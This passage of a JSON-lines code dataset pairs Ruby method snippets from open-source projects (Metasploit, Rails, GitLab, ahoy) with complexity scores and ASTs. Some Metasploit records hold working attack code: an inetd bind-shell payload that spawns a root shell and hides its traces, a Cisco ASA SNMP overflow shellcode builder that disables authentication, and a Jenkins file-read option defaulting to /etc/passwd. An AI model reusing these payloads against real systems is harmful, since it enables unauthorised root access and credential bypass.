ll,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path for Jenkins\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File path to read from the server\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptFloat\"]},\"new\",{\"type\":\"str\",\"children\":[\"DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Delay between first and second request\"]},{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ENCODING\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Encoding to use for reading the file\"]},{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOCALITY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Locality to use for reading the file\"]},{\"type\":\"str\",\"children\":[\"en_US\"]}]}]}]}]}]}]}","id":"081a07a6-547f-4ee4-a024-cb739d6b416e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_inetd.rb","start_line":52,"raw_source":"def command_string\n    tmp_services = '/tmp/.' + Rex::Text.rand_text_alpha(32)\n    tmp_inet = '/tmp/.' + Rex::Text.rand_text_alpha(32)\n    svc = Rex::Text.rand_text_alpha_lower(9)\n\n    cmd =\n      # Create a clean copy of the services file\n      \"cp /etc/services #{tmp_services};\" +\n\n      # Add our service to the system one\n      \"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;\" +\n\n      # Create our inetd configuration file with our service\n      \"echo #{svc} stream tcp nowait root #{datastore['ShellPath']} sh>#{tmp_inet};\" +\n\n      # First we try executing inetd without the full path\n      \"#{datastore['InetdPath']} -s #{tmp_inet} ||\" +\n\n      # Next try the standard inetd path on Linux, Solaris, BSD\n      \"/usr/sbin/inetd -s #{tmp_inet} ||\" +\n\n      # Next try the Irix inetd path\n      \"/usr/etc/inetd -s #{tmp_inet};\" +\n\n      # Overwrite services with the \"clean\" version\n      \"cp #{tmp_services} /etc/services;\" +\n\n      # Delete our configuration file\n      \"rm #{tmp_inet} #{tmp_services};\"\n\n    return cmd\n  end","complexity_score":35.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_services\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/.\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp_inet\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/.\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cp /etc/services \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_services\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"/tcp>>/etc/services;\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]}]},{\"type\":\"str\",\"children\":[\" stream tcp nowait root \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ShellPath\"]}]}]},{\"type\":\"str\",\"children\":[\" sh>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_inet\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"InetdPath\"]}]}]},{\"type\":\"str\",\"children\":[\" -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_inet\"]}]},{\"type\":\"str\",\"children\":[\" ||\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/sbin/inetd -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_inet\"]}]},{\"type\":\"str\",\"children\":[\" ||\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/etc/inetd -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_inet\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_services\"]}]},{\"type\":\"str\",\"children\":[\" /etc/services;\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_inet\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_services\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"0262773a-30a2-4c64-995f-b44d3bddb6cf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb","start_line":99,"raw_source":"def setup\n      @error         = Mysql2::Error.new(\"Invalid permissions\")\n      @configuration = {\n        \"adapter\"  => \"mysql2\",\n        \"database\" => \"my-app-db\",\n        \"username\" => \"pat\",\n        \"password\" => \"wossname\"\n      }\n      $stdout, @original_stdout = StringIO.new, $stdout\n      $stderr, @original_stderr = StringIO.new, $stderr\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Error\"]},\"new\",{\"type\":\"str\",\"children\":[\"Invalid permissions\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@configuration\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"mysql2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"my-app-db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"pat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"wossname\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$stdout\"]},{\"type\":\"ivasgn\",\"children\":[\"@original_stdout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]},{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$stderr\"]},{\"type\":\"ivasgn\",\"children\":[\"@original_stderr\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]},{\"type\":\"gvar\",\"children\":[\"$stderr\"]}]}]}]}]}","id":"c453bb01-e90c-43cf-aaa2-4447d7f8d244"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy/tracker.rb","start_line":93,"raw_source":"def visit\n      @visit ||= @store.visit\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@visit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"visit\"]}]}]}","id":"28234913-f3e5-44e5-a869-d9a95007fcb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/jobs_finder.rb","start_line":113,"raw_source":"def filter_by_statuses!(builds)\n      unknown_statuses = params[:scope] - ::CommitStatus::AVAILABLE_STATUSES\n      raise ArgumentError, 'Scope contains invalid value(s)' unless unknown_statuses.empty?\n\n      builds.with_statuses(params[:scope])\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_statuses!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builds\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unknown_statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]},\"-\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CommitStatus\"]},\"AVAILABLE_STATUSES\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown_statuses\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Scope contains invalid value(s)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builds\"]},\"with_statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]}]}]}","id":"e80fbf07-46b3-40d4-956a-f8d092c50217"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":368,"raw_source":"def test_schema_dumps_index_type\n      output = dump_table_schema \"key_tests\"\n      assert_match %r{t\\.index \\[\"awesome\"\\], name: \"index_key_tests_on_awesome\", type: :fulltext$}, output\n      assert_match %r{t\\.index \\[\"pizza\"\\], name: \"index_key_tests_on_pizza\"$}, output\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumps_index_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"key_tests\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index \\\\[\\\"awesome\\\"\\\\], name: \\\"index_key_tests_on_awesome\\\", type: :fulltext$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index \\\\[\\\"pizza\\\"\\\\], name: \\\"index_key_tests_on_pizza\\\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"07b2a5f6-e437-4a81-b36e-607bf0547526"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/markdown/copy_as_gfm_spec.rb","start_line":869,"raw_source":"def html_to_gfm(html, transformer = 'transformGFMSelection', target: nil)\n    js = <<~JS\n      (function(html) {\n        // Setting it off so the import already starts\n        window.CopyAsGFM.nodeToGFM(document.createElement('div'));\n\n        var transformer = window.CopyAsGFM[#{transformer.inspect}];\n\n        var node = document.createElement('div');\n        $(html).each(function() { node.appendChild(this) });\n\n        var targetSelector = #{target.to_json};\n        var target;\n        if (targetSelector) {\n          target = document.querySelector(targetSelector);\n        }\n\n        node = transformer(node, target);\n        if (!node) return null;\n\n\n        window.gfmCopytestRes = null;\n        window.CopyAsGFM.nodeToGFM(node)\n        .then((res) => {\n          window.gfmCopytestRes = res;\n        });\n      })(\"#{escape_javascript(html)}\")\n    JS\n    page.execute_script(js)\n\n    loop until page.evaluate_script('window.gfmCopytestRes !== null')\n\n    page.evaluate_script('window.gfmCopytestRes')\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"html_to_gfm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]},{\"type\":\"optarg\",\"children\":[\"transformer\",{\"type\":\"str\",\"children\":[\"transformGFMSelection\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(function(html) {\\n\"]},{\"type\":\"str\",\"children\":[\"  // Setting it off so the import already starts\\n\"]},{\"type\":\"str\",\"children\":[\"  window.CopyAsGFM.nodeToGFM(document.createElement('div'));\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var transformer = window.CopyAsGFM[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transformer\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"];\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var node = document.createElement('div');\\n\"]},{\"type\":\"str\",\"children\":[\"  $(html).each(function() { node.appendChild(this) });\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var targetSelector = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"to_json\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"  var target;\\n\"]},{\"type\":\"str\",\"children\":[\"  if (targetSelector) {\\n\"]},{\"type\":\"str\",\"children\":[\"    target = document.querySelector(targetSelector);\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  node = transformer(node, target);\\n\"]},{\"type\":\"str\",\"children\":[\"  if (!node) return null;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  window.gfmCopytestRes = null;\\n\"]},{\"type\":\"str\",\"children\":[\"  window.CopyAsGFM.nodeToGFM(node)\\n\"]},{\"type\":\"str\",\"children\":[\"  .then((res) => {\\n\"]},{\"type\":\"str\",\"children\":[\"    window.gfmCopytestRes = res;\\n\"]},{\"type\":\"str\",\"children\":[\"  });\\n\"]},{\"type\":\"str\",\"children\":[\"})(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\")\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"evaluate_script\",{\"type\":\"str\",\"children\":[\"window.gfmCopytestRes !== null\"]}]},{\"type\":\"send\",\"children\":[null,\"loop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"evaluate_script\",{\"type\":\"str\",\"children\":[\"window.gfmCopytestRes\"]}]}]}]}","id":"96a92fdc-124b-42e0-a7b0-f19ad664ac53"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb","start_line":127,"raw_source":"def build_payload(vers_string, mode)\n    # adds offsets to the improved shellcode\n    # https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm\n\n    if mode == 'PASS_DISABLE'\n      always_return_true = '49.192.64.195'\n      pmcheck_bytes = always_return_true\n      admauth_bytes = always_return_true\n    else # PASS_ENABLE\n      pmcheck_bytes = @offsets[vers_string][5]\n      admauth_bytes = @offsets[vers_string][8]\n    end\n\n    preamble_snmp = ''\n    preamble_snmp << '49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187.'\n    preamble_snmp << @offsets[vers_string][3]\n    preamble_snmp << '.205.128.88.187.'\n    preamble_snmp << @offsets[vers_string][6]\n    preamble_snmp << '.205.128.199.5.'\n    preamble_snmp << @offsets[vers_string][4]\n    preamble_snmp << '.'\n    preamble_snmp << pmcheck_bytes\n    preamble_snmp << '.199.5.'\n    preamble_snmp << @offsets[vers_string][7]\n    preamble_snmp << '.'\n    preamble_snmp << admauth_bytes\n    preamble_snmp << '.97.104.'\n    preamble_snmp << @offsets[vers_string][1]\n    preamble_snmp << '.128.195.16.191.11.15.15.15.137.229.131.197.'\n    preamble_snmp << @offsets[vers_string][2]\n    preamble_snmp << '.195'\n\n    preamble_len = preamble_snmp.split('.').length\n    preamble_snmp << '.144' * (82 - preamble_len)\n\n    # cufwUrlfServerStatus\n    head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5'\n    head << '.9.95'\n\n    finder_snmp = '139.124.36.20.139.7.255.224.144'\n\n    overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join('.')\n    return overflow\n  end","complexity_score":64.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vers_string\"]},{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"PASS_DISABLE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"always_return_true\",{\"type\":\"str\",\"children\":[\"49.192.64.195\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pmcheck_bytes\",{\"type\":\"lvar\",\"children\":[\"always_return_true\"]}]},{\"type\":\"lvasgn\",\"children\":[\"admauth_bytes\",{\"type\":\"lvar\",\"children\":[\"always_return_true\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pmcheck_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admauth_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"preamble_snmp\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\"49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".205.128.88.187.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".205.128.199.5.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pmcheck_bytes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".199.5.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"admauth_bytes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".97.104.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".128.195.16.191.11.15.15.15.137.229.131.197.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"str\",\"children\":[\".195\"]}]},{\"type\":\"lvasgn\",\"children\":[\"preamble_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\".144\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[82]},\"-\",{\"type\":\"lvar\",\"children\":[\"preamble_len\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"head\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.9.9.491.1.3.3.1.1.5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"str\",\"children\":[\".9.95\"]}]},{\"type\":\"lvasgn\",\"children\":[\"finder_snmp\",{\"type\":\"str\",\"children\":[\"139.124.36.20.139.7.255.224.144\"]}]},{\"type\":\"lvasgn\",\"children\":[\"overflow\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},{\"type\":\"lvar\",\"children\":[\"preamble_snmp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"finder_snmp\"]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]}]}]}]}","id":"89b87cba-01f6-4be2-abbc-f7d047768360"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/application_settings/update_service.rb","start_line":21,"raw_source":"def update_settings\n      validate_classification_label_param!(application_setting, :external_authorization_service_default_label) unless bypass_external_auth?\n\n      if application_setting.errors.any?\n        return false\n      end\n\n      if params[:enabled_git_access_protocol] == 'all'\n        params[:enabled_git_access_protocol] = ''\n      end\n\n      update_terms(@params.delete(:terms))\n      update_default_branch_protection_defaults(@params[:default_branch_protection_defaults])\n      update_legacy_default_branch_protection_defaults(@params[:default_branch_protection])\n\n      add_to_outbound_local_requests_whitelist(@params.delete(:add_to_outbound_local_requests_whitelist))\n\n      if params.key?(:performance_bar_allowed_group_path)\n        group_id = process_performance_bar_allowed_group_id\n\n        return false if application_setting.errors.any?\n\n        params[:performance_bar_allowed_group_id] = group_id\n      end\n\n      if usage_stats_updated? && !params.delete(:skip_usage_stats_user)\n        params[:usage_stats_set_by_user_id] = current_user.id\n      end\n\n      @application_setting.assign_attributes(params.except(:auto_approve_pending_users))\n\n      if invalidate_markdown_cache?\n        @application_setting[:local_markdown_version] = @application_setting.local_markdown_version + 1\n      end\n\n      @application_setting.save\n    